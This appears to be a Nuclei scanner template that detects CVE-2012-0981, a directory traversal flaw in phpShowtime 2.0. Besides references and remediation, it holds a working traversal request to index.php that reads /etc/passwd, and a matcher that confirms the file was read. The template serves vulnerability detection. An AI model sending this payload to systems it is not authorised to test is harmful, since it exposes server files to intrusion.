id: CVE-2012-0981

info:
  name: phpShowtime 2.0 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in phpShowtime 2.0 allows remote attackers to list arbitrary directories and image files via a .. (dot dot) in the r parameter to index.php.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Upgrade to a patched version of phpShowtime or apply the necessary security patches to fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/18435
    - https://nvd.nist.gov/vuln/detail/CVE-2012-0981
    - http://www.exploit-db.com/exploits/18435
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/72824
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2012-0981
    cwe-id: CWE-22
    epss-score: 0.02457
    epss-percentile: 0.85432
    cpe: cpe:2.3:a:kybernetika:phpshowtime:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kybernetika
    product: phpshowtime
  tags: cve,cve2012,phpshowtime,edb,lfi,kybernetika,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?r=i/../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f374b25b60e16a663e731cb5297ed572930c508ec3d6e1e420160a395b181077022100e0caf5cfdfab117366b936832b02b68a2ef93fb3cf13fcbbc0b79534c295667d:922c64590222798bb761d5b6d8e72950